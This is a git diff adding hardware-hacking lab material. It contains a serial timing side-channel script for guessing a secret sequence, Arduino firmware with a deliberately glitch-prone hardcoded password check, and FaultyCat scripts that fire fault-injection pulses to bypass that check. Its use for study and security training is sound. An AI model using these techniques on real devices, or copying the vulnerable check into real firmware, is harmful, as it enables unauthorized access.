+        byte = serial_port.read(1)  # Read one byte at a time
+        if byte:
+            if byte == b'\n' and not first_line_received:
+                first_line_received = True  # The first line has been received
+                # Do not start timing yet; we need to wait for the next line after the first one
+            elif first_line_received:
+                # Start measuring response time after the first line is fully received
+                start_time = time.time()
+                break  # We begin timing here, immediately after the first line has been read
+
+    final_response = serial_port.readline().decode(errors='ignore').strip()
+    # Now read the rest of the response and stop when the second newline is encountered
+    #final_response = raw_response.decode(errors='ignore').strip()  # Decode the response
+
+    # Measure the time taken for the second line (after the first)
+    response_time = time.time() - start_time
+
+    # Debug message to show what was sent, received, and the response time
+    print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True)
+
+    time.sleep(DELAY)
+    return final_response, response_time
+
+def calculate_average_response_time(serial_port, message):
+    """
+    Calculate average response time over multiple attempts.
+    """
+    total_time = 0
+    response_times = []
+
+    # Try multiple attempts to get the average response time
+    for _ in range(ATTEMPTS):
+        response, response_time = get_response_time(serial_port, message)
+        total_time += response_time
+        response_times.append(response_time)
+    
+    average_time = total_time / ATTEMPTS
+    print(f"\r{message} average: {average_time:.4f} seconds                                         ", flush=True)
+    return average_time, response_times
+
+def identify_sequence(serial_port):
+    """
+    Identify the complete sequence of characters by sending test sequences.
+    """
+    prefix = ""
+
+    # Loop over all positions in the sequence (length 4 in this case)
+    for pos in range(LENGTH):
+        slowest_avg = float('-inf')  # Initialize with the smallest possible number to track the largest value
+        best_digit = None
+
+        # Try each character in the keyspace for this position
+        for key in KEYSPACE:
+            # Build message for this position
+            message = prefix + key + key * (LENGTH - len(prefix) - 1)
+            print(f"Testing: {message}", end='', flush=True)
+
+            # Get the average response time for this message
+            avg_time, _ = calculate_average_response_time(serial_port, message)
+
+            # Track the slowest (highest average response time)
+            if avg_time > slowest_avg:  # Modify comparison to choose the longest time
+                slowest_avg = avg_time
+                best_digit = key
+
+        # Append the best digit found to the prefix
+        prefix += best_digit
+        print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)")
+
+    return prefix
+
+def main():
+    # Open the serial port
+    with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port:
+        print(f"Starting sequence identification on port {SERIAL_PORT}...")
+        sequence = identify_sequence(serial_port)
+        print(f"Identified sequence: {sequence}")
+
+if __name__ == '__main__':
+    main()
+

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
new file mode 100644
index 0000000..a34e25d
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..127e108
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py
new file mode 100644
index 0000000..3831eec
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py
@@ -0,0 +1,133 @@
+import typer
+import platform
+import signal
+import threading
+import sys
+from rich.console import Console
+from rich.table import Table
+
+from Modules import CmdInterface
+from Modules.CmdInterface import is_valid_number
+from Modules import Worker
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+
+app = typer.Typer(
+    name="FaultyCat",
+    help="Script to control the FaultyCat and launch faulty attacks.",
+    add_completion=False,
+    no_args_is_help=True,
+)
+
+faulty_worker = Worker.FaultyWorker()
+workers = []
+
+
+def signal_handler(sig, frame):
+    print("You pressed Ctrl+C!")
+    faulty_worker.stop_workers()
+    for work in workers:
+        work.join()
+    sys.exit(0)
+
+
+@app.command("config")
+def config():
+    """Get the current configuration of the FaultyCat."""
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
